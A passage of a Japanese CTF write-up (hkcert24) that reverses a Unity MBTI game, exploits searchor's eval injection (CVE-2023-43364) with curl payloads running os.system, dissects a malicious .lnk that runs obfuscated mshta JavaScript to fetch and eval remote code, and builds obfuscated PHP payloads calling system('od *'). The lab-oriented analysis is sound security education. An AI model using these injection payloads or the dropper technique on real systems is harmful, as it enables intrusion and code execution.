                *(longlong *)(param_1 + 0x68) = lVar3;
                thunk_FUN_1801615d0(param_1 + 0x68,lVar3);
                UnityEngine.Transform$$.ctor(param_1,0);
                return;
              }
            }
          }
        }
      }
    }
    FUN_18016fba0();
    pcVar1 = (code *)swi(3);
    (*pcVar1)();
    return;
  }
  FUN_18016fbb0();
  pcVar1 = (code *)swi(3);
  (*pcVar1)();
  return;
}

GameBehavior.Roll は次のような処理だ。UnityEngine.Random.value で乱数を取得し、その結果に基づいて1個だけMBTIを返している。

void GameBehaviour$$Roll(longlong param_1,longlong param_2,char param_3)

{
  undefined8 uVar1;
  code *pcVar2;
  longlong lVar3;
  undefined8 uVar4;
  float fVar5;
  longlong *local_res10;
  
  if (DAT_180ce4720 == '\0') {
    // …
  }
  fVar5 = (float)UnityEngine.Random$$get_value(0);
  fVar5 = fVar5 * 201.0;
  if (fVar5 < 54.0) {
    if (fVar5 < 33.0) {
      if (fVar5 < 12.0) {
        uVar4 = StringLiteral_1157; // INFJ
        if (3.0 <= fVar5) {
          uVar4 = StringLiteral_1159; // INFP
        }
      }
      else {
        uVar4 = StringLiteral_513; // ENFP
        if (28.0 <= fVar5) {
          uVar4 = StringLiteral_511; // ENFJ
        }
      }
    }
    else if (fVar5 < 44.0) {
      uVar4 = StringLiteral_1165; // INTJ
      if (37.0 <= fVar5) {
        uVar4 = StringLiteral_1167; // INTP
      }
    }
    else {
      uVar4 = StringLiteral_517; // ENTP
      if (50.0 <= fVar5) {
        uVar4 = StringLiteral_515; // ENTJ
      }
    }
  }
  else if (fVar5 < 147.0) {
    if (fVar5 < 105.0) {
      uVar4 = StringLiteral_1213; // ISTJ
      if (77.0 <= fVar5) {
        uVar4 = StringLiteral_1169; // ISFJ
      }
    }
    else {
      uVar4 = StringLiteral_535; // ESTJ
      if (122.0 <= fVar5) {
        uVar4 = StringLiteral_525; // ESFJ
      }
    }
  }
  else if (fVar5 < 176.0) {
    uVar4 = StringLiteral_1217; // ISTP
    if (158.0 <= fVar5) {
      uVar4 = StringLiteral_1173; // ISFP
    }
  }
  else {
    uVar4 = StringLiteral_537; // ESTP
    if (184.0 <= fVar5) {
      uVar4 = StringLiteral_531; // ESFP
    }
  }

同じ名前ならば同じMBTIの組み合わせが返ってくるようになっていたが、これはどのように実現されているか。GameBehaviour.OnClick に以下のような処理があった。名前を小文字化した上で数値へ変換し、UnityEngine.Random.InitState へシードとして渡している。

      lVar7 = System.String$$ToLower(lVar1,0);
      uVar15 = uVar13;
      uVar14 = uVar13;
      if (lVar7 != 0) {
        for (; (int)uVar14 < *(int *)(lVar7 + 0x10); uVar14 = uVar14 + 1) {
          lVar2 = *(longlong *)(param_1 + 0x30);
          param_3 = (longlong *)0x0;
          System.String$$get_Chars(lVar7,uVar14);
          if (lVar2 == 0) goto LAB_1801f0866;
          param_3 = (longlong *)0x0;
          iVar6 = System.String$$IndexOf(lVar2);
          uVar15 = uVar15 * 0x24 + iVar6;
        }
        UnityEngine.Random$$InitState(uVar15,0);

これでおおよそアルゴリズムが把握できた。ブルートフォースで目的のMBTIの組み合わせが返ってくるような名前を見つけよう。Unityで新しくプロジェクトを作成し、以下のC#コードを適当なゲームオブジェクトにアタッチする。

using System;
using UnityEngine;

public class NewMonoBehaviourScript : MonoBehaviour
{
    // Start is called once before the first execution of Update after the MonoBehaviour is created
    void Start()
    {
        string[] targets =
        {
            "ESFP ISTP ESFJ ISFJ ESTJ ISTP ESTP ENFP ENTJ ESTJ ISTP ISTJ",
            "ISFJ ESTP ESTJ INTJ ISTP ISFJ ESFJ ISFJ ISTJ INTP ENFP ISTP",
            "ISTJ ESFJ ISFJ INTJ ESFJ ISFP ISFJ ESFJ ESFP ISFP ESTJ ISFP",
            "INFP ESFJ ISFJ ENFP ESFJ ISFP INFP ENTJ ESFP ESTP ESFP ESFP",
            "ESFJ ISFP ESFJ ISFJ ISTJ ENFJ ESTJ ESTJ ISFP ISFP ESFJ ENTP",
            "ESFJ ESFJ INFP ESFJ ESFP ISFJ ESTJ ESFJ ESTJ ISFJ ISFP ISFJ"
        };
        string charList = "0123456789abcdefghijklmnopqrstuvwxyz";
        foreach (var a in charList)
        {
            foreach (var b in charList)
            {
                foreach (var c in charList)
                {
                    foreach (var d in charList)
                    {
                        foreach (var e in charList)
                        {
                            var s = new string(new char[] { a, b, c, d, e });
                            if (Go(s) == targets[4])
                            {
                                Debug.Log($"found: {s}");
                                return;
                            }
                        }
                    }
                }
            }
        }
    }

    // Update is called once per frame
    void Update()
    {

    }

    string Go(string s)
    {
        UnityEngine.Random.InitState(HashName(s));

        var mbtis = new string[12];
        for (int i = 0; i < 12; i++)
        {
            mbtis[i] = Roll();
        }

        return string.Join(" ", mbtis);
    }

    int HashName(string s)
    {
        var uVar7 = 0;
        var charList = "0123456789abcdefghijklmnopqrstuvwxyz";

        for (var i = 0; i < s.Length; i++)
        {
            var iVar4 = charList.IndexOf(s[i]);
            uVar7 = iVar4 + uVar7 * 0x24;
        }

        return uVar7;
    }

    string Roll()

    {
        string uVar4;
        double fVar5 = UnityEngine.Random.value * 201.0;
        if (fVar5 < 54.0)
        {
            if (fVar5 < 33.0)
            {
                if (fVar5 < 12.0)
                {
                    uVar4 = "INFJ";
                    if (3.0 <= fVar5)
                    {
                        uVar4 = "INFP";
                    }
                }
                else
                {
                    uVar4 = "ENFP";
                    if (28.0 <= fVar5)
                    {
                        uVar4 = "ENFJ";
                    }
                }
            }
            else if (fVar5 < 44.0)
            {
                uVar4 = "INTJ";
                if (37.0 <= fVar5)
                {
                    uVar4 = "INTP";
                }
            }
            else
            {
                uVar4 = "ENTP";
                if (50.0 <= fVar5)
                {
                    uVar4 = "ENTJ";
                }
            }
        }
        else if (fVar5 < 147.0)
        {
            if (fVar5 < 105.0)
            {
                uVar4 = "ISTJ";
                if (77.0 <= fVar5)
                {
                    uVar4 = "ISFJ";
                }
            }
            else
            {
                uVar4 = "ESTJ";
                if (122.0 <= fVar5)
                {
                    uVar4 = "ESFJ";
                }
            }
        }
        else if (fVar5 < 176.0)
        {
            uVar4 = "ISTP";
            if (158.0 <= fVar5)
            {
                uVar4 = "ISFP";
            }
        }
        else
        {
            uVar4 = "ESTP";
            if (184.0 <= fVar5)
            {
                uVar4 = "ESFP";
            }
        }
        return uVar4;
    }
}

実行すると、無事に以下のように5段階目の名前は und3r であることがわかった。

これを繰り返すとフラグが得られた。

hkcert24{1_4m_on3_5t4r_und3r_c4e1um}

Cpp2Ilを使えばもうちょっと楽に解析できたっぽい。

[Misc 100] B6ACP (97 solves)

Let's embark your cybersecurity journey by becoming a BlackB6a Certified Professional!

Flag at the home folder of the user.

Note: There is a step-by-step guide to the challenge.

(問題サーバのURL)

色々な検索エンジンで検索できるWebアプリが与えられる。

Server ヘッダからでは searchor/2.4.1 と設定されており、searchorというライブラリが使われているとわかる。バージョンとあわせて検索すると、CVE-2023-43364が見つかる。

どうやら検索エンジン名等を使って eval していたらしい。わあ。試しに AliExpress and 7*7 # を投げてみると、次のようにそれを eval した結果の 49 が返ってきた。

$ curl 'https://(省略)/'   -H 'content-type: application/x-www-form-urlencoded'   --data-raw 'e=AliExpress%20and%207*7%23&q=a'
…
    <script>
        window.open('49', '_blank').focus();
    </script>
…

あとはやるだけだ。OSコマンドの実行に持ち込んでファイルを探すと、/home/hkcertuser/local.txt にフラグが見つかった。

$ curl 'https://(省略)/'   -H 'content-type: application/x-www-form-urlencoded'   --data-raw 'e=AliExpress%20and%20__import__("os").system("cat ../home/hkcertuser/local.txt")%23&q=a'
…
    <script>
        window.open('hkcert24{pay_blackb6a_10BTC_t0_activate_y0ur_b6acp+_n0w!}
0', '_blank').focus();
    </script>
…
hkcert24{pay_blackb6a_10BTC_t0_activate_y0ur_b6acp+_n0w!}

[Misc 200] My Lovely Cats (62 solves)

From: Walsh Philip <Walsh.philip@example.com> Subject: My Lovely Cats
Date: 4 November, 2024

Dear my lovely friend,

Hey there! 🐾 I've put together my absolute favorite cat compilation just for you—handpicked from thousands of adorable cat pics! 😻 And guess what? There's a special flag hidden in the mov file, toooo! 🚩 The kind of flag everyone’s been after! Open it now and claim your flag—don’t wait! 🚀🎯

Yours Truly,

Walsh Philip

添付ファイル: mylovelycats_ffa936aa961da4830f6774ec010aca0e.zip

与えられたZIPを展開すると、次のようなファイルが出てくる。一方のファイルは DCIM_0017.mov.lnk ということでショートカットファイルだ。

雑に strings に投げると、次のように mshta でヤバそうなJSを実行している様子がわかる。大した難読化はされておらず、自身の2500バイト目以降を実行している様子がわかる。

$ strings -el DCIM_0017.mov.lnk
WINDOWS
system32
MshtA.exe
,..\..\..\..\..\..\WINDOWS\system32\MshtA.exe
                                                                                                                       "jAvascrIpt:;try{d=document;d.write('');o=this['\x41ctive\x58O\x62ject'];x=new o('Scri\x50ting.Fil\x45Syst\x45mObj\x45ct');t=x.GetFile('DCIM_0017.mov.lnk').OpenAsTextStream(1,false);t.Skip(2500);d.write(t.Read(1e6))}catch(e){}//"!%SystemRoot%\System32\Shell32.dll
%SystemRoot%\                                                                                                          \..\system32\\..\\MshtA
S-0-0-00-0000000000-0000000000-0000000000-0000

これを元に抽出した主要な処理は次の通り。読みづらいねえ。

N="substr";P=(''+''.constructor)[N](10,6);I=(''+{})[N](8,6);W="reverse";Z="split";Y="join";Q="X";S=this;U=S['Active'+Q+I];str=new String();
function atob(b) {
var enc = new U("System.Text.UTF8Encoding");
return enc["Get"+P](new U("System.Security.Cryptography.FromBase64Transform")["TransformFinalBlock"](enc["GetBytes_4"](b), 0, enc["GetByteCount_2"](b)));
}
function sha256(b) {
var enc = new U("System.Text.UTF8Encoding");
var res = "";
for (var i = 0; i < 32; i += 3)
        res += enc["Get"+P](
                new U("System.Security.Cryptography.ToBase64Transform")["TransformFinalBlock"](
                                new U("System.Security.Cryptography.SHA256Managed")["ComputeHash_2"](enc["GetBytes_4"](b)),
                                i,
                                Math.min(3, 32 - i)));
return res;
}
function main() {return S["lave"[Z](str)[W](1024)[Y](str)](atob("K0gCNoQD7kyco0VKyR3co0VWblCNyATMo01Vblic0NHKdp1WiUmdhxmIbNFIpISPv9SVzQTQvRmeCZ3Zzx2N4VGMSJFTxBncvk1bzZzKFVFOyZ2NxUXRzkFbnJCI90TPgkycoYTNyEGazhCImlGI7UWdsFmVkVGc5RVZk9mbukCMo0WZ0lmLpcycv8yJoMXZk9mT0NWZsV2cu02bkBSPgMHI7kyJ0hHduETZslmZ0NXan9CZ3MmY1QWNmdDZidTO5UGNjVWZ3gDO2YzYjNWZ5YjMyETYhNmNhRWYvcXYy9SYmRjNldTNwM2YlVjY1kjN5UTOwYDMmFGOyU2MzkTZh9yYwsmbhlnbv02bj5CduVGdu92YyV2c1JWdoRXan5Cdzl2Zv8iOzBHd0h2JoQWYvxmLt9GZgsTZzxWYmBSPgMmb5NXYu02bkByOpISTPRETNJCIrASUgsCIi4Cdm92cvJ3Yp1kIoUFI3Vmbg0DIt9GZ"[Z](str)[W](1024)[Y](str)))}
try {
main();
window.close();
} catch (e) {}

"lave"[Z](str)[W](1024)[Y](str)eval になることに気をつけつつ、部分的にコードを実行して main の処理を読み解いていく。すると、次のようなコードが eval されていることわかった。

dom = new U("Microsoft." + Q + "MLDOM"); dom.async = false; dom.load('https://gist.githubusercontent.com/nyank0c/ae933e28af060959695b5ecc057e64fa/raw/ada6caa12269eccc66887eec4e997bd7f5d5bc7d/gistfile1.txt'); s = dom.selectNodes('//s').item(0).nodeTypedValue; if (sha256(s) === "glY3Eu17fr8UE+6soY/rpqLRR0ex7lsgvBzdoA43U/o=") S["lave"[Z](str)[W](1024)[Y](str)](s);

出てきたGistのコード中にフラグが含まれていた。

hkcert24{mEow-meOw-me0W-ma1ware}

[Misc 255] Tuning Keyboard 5 (5 solves)

🫵(^v^)jm9.....?

添付ファイル: tuning-keyboard-5_0a98633513cf54dd1144131d6eec2f73.zip

与えられたファイルを展開すると、HTMLが出てくる。これを開くと次のような怪文書が出てきた。なんだこれは。

一応フォームになっているのだけれども、送信先はバカテスの音MADで特に意味はなさそう。

この問題は続き物で、5.5という問題サーバも用意されているバージョンがある。こちらも似たようなものだ。

ただ、フォームの送信先が違う。これを送信すると 5.5 と表示された。どういうことかと何文字か削って送信すると 5 と表示される。木木木木 を送信すると 5555 と表示される。うーん。 だけだと syntax error, unexpected '.', expecting ';' とPHPのエラーが表示された。

もしかして、これらのテキストに含まれる漢字の一部が 5. といった文字に置換され、PHPのコードとして eval されているのではないか。5.5のテキストに含まれるものでは しか置換の対象でなく、それ以外は無いものとして扱われていそうだ。

この2つの漢字の関連性は我々にとっては明らかだ。最終的に 5()^. と対応していることがわかった。5のテキストをこれらの記号に置換するスクリプトを用意する。

import re
with open('tuning-keyboard-5_0a98633513cf54dd1144131d6eec2f73/flag.html', 'rb') as f:
    s = f.read().decode('utf-8')
s = ''.join(re.findall(r'[火水木金土]', s))
s = s.translate(str.maketrans({
    '火': '(',
    '水': '.',
    '木': '5',
    '金': '^',
    '土': ')',
}))
print(s)

これを eval するとフラグが得られた。

$ (echo '<?php '; python3 s.py; echo ';') > a.php; php a.php
hkcert24{vvH@CKKX.c5fe25896e49ddfe996db7508cf00534|}
hkcert24{vvH@CKKX.c5fe25896e49ddfe996db7508cf00534|}

[Misc 444] Tuning Keyboard 5.5 (3 solves)

🫵(^v^)jm9.....?

Tuning Keyboard 5の続きだ。何も入力せずに問題サーバで送信すると、次のようにPHPコードが表示された。なるほど、8800文字以下でなければならないという制約で、flag.php を手に入れる必要があるらしい。そんなことできるだろうか。

<?php require("flag.php");(mb_strlen($v=$_POST["v"])<=(55*5)<<5&&$x=v($v))?print_r(eval("return $x;")):header("Location: flag.html")||show_source(__FILE__);

5 の代わりに 9 が使われているけれども、ほとんど似たようなことを成し遂げているphpf*ckというプロジェクトがある。この一部を置き換えればよいのではないかと考える。

phpf*ckはまず、次のように数値を作って、さらにそれを切り取って数字を作っている。ただ、これが 9 でなく 5 だとなかなか短いパターンが見つからない。

# …
p['INF9'] = '('+'9'*309+').(9)'
p[9] = '9'
p[0] = '9^9'
p['99'] = '(9).(9)'                            # (9).(9) == '99'   //concatenates '9' and '9'
p[106] = '9^99'
# …
p[3] = gen_xor(p[51], p['48'])                 # 51 ^ '48' === 3   //'48' gets cast to 48
p['00'] = gen_concat(p[0], p[0])
p['080'] = gen_concat(p[0], p['80'])
p['01'] = gen_xor(p['00'], p['080'], p['09'])  # '00' ^ '080' ^ '09' === '01'
p[1] = gen_xor(p['01'], p[0])                  # '01' ^ 0 === 1    //'01' gets cast to 1
p[2] = gen_xor(p['01'], p[3])
p[8] = gen_xor(p['01'], p[9])
# …

ちょっと悩んで、Tuning Keyboard 5のコードを解析し、短いパターンをパクればよいのではないかと考える。結果として、次のような変換テーブルができあがった。

# …
p['INF5'] = '('+'5'*309+').(5)'
p[5] = '5'
p['55'] = '(5).(5)'
p[0] = '5^5'
p[3] = '(5^5).(5555^555)^(5).(5)^(5).(5)^5'
p[1] = '(555^55).(5)^(5).(5)^(5).(5)^55'
p[6] = gen_xor(p[5], p[3])
p[4] = '(555^55).(5)^(5).(5)^(5).(5)^55^5'
p[2] = '((55555^55).(5)^(55).(5)^(55).(5)^555^5)'
p[7] = '(55555^55).(5)^(55).(5)^(55).(5)^555'
# …
p['rt'] = '((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^((55).(.5)^555^5).((55).(.5)^555^5)^((5^5).(5555^555)^(5).(5)^(5).(5)^.5).((55555^55).(5)^(55).(5)^(55).(5)^555))'
# …
p['CHr'] = '(((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^((55).(.5)^555^5).(5)^((55555^55).(5)^(55).(5)^(55).(5)^555^5).((5^5).(5555^555)^(5).(5)^(5).(5)^5)).((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^((55).(.5)^555^5).(5)^((5^5).(5555^555)^(5).(5)^(5).(5)^.5).(5)^(((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^((55).(.5)^555^5).((55).(.5)^555^5)^(5^5).((555^55).(5)^(5).(5)^(5).(5)^55)).((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^(5).((5^5).(5555^555)^(5).(5)^(5).(5)^.5)))(5)))'
# …

さらに縮めるべく、なるべく短いコマンドで flag.php の内容を得られるよう、od * を実行するコードを生成する。

ex = gen_str_caseinsensitive('system')
PAYLOAD = 'od *'
evald_function = gen_funccall(ex, gen_str(PAYLOAD))
with open('a.php', 'w') as f:
    f.write('<?php ' + evald_function + ';')

p = evald_function.translate(str.maketrans({
    '(': '火',
    '.': '水',
    '5': '木',
    '^': '金',
    ')': '土',
}))

import httpx
r = httpx.post('https://(省略)/', data={
    'v': p
})
print(r.text)

これで無事にカレントディレクトリのすべてのファイルについてその内容が得られた。この中で、コメントとして次のようにフラグが含まれていた。

// …
        "𬫨" => "((^",
        "𭪳" => ".55",
        "𮢅" => "^55"
        //Flag
        //"旗" => "hkcert24{55555...IdontThikUcant3v4lThis...:index_pointing_at_the_viewer:(^v^)jm9.....?}"
// …
hkcert24{55555...IdontThikUcant3v4lThis...:index_pointing_at_the_viewer:(^v^)jm9.....?}

*1:なぜかユーザ名に6文字以上でなければならないという制約があり、仕方がないので適当に長くした

*2:交通費や宿泊費はすべて向こう持ちらしい

*3:フラグの表記揺れを受け止めようという気概が感じられない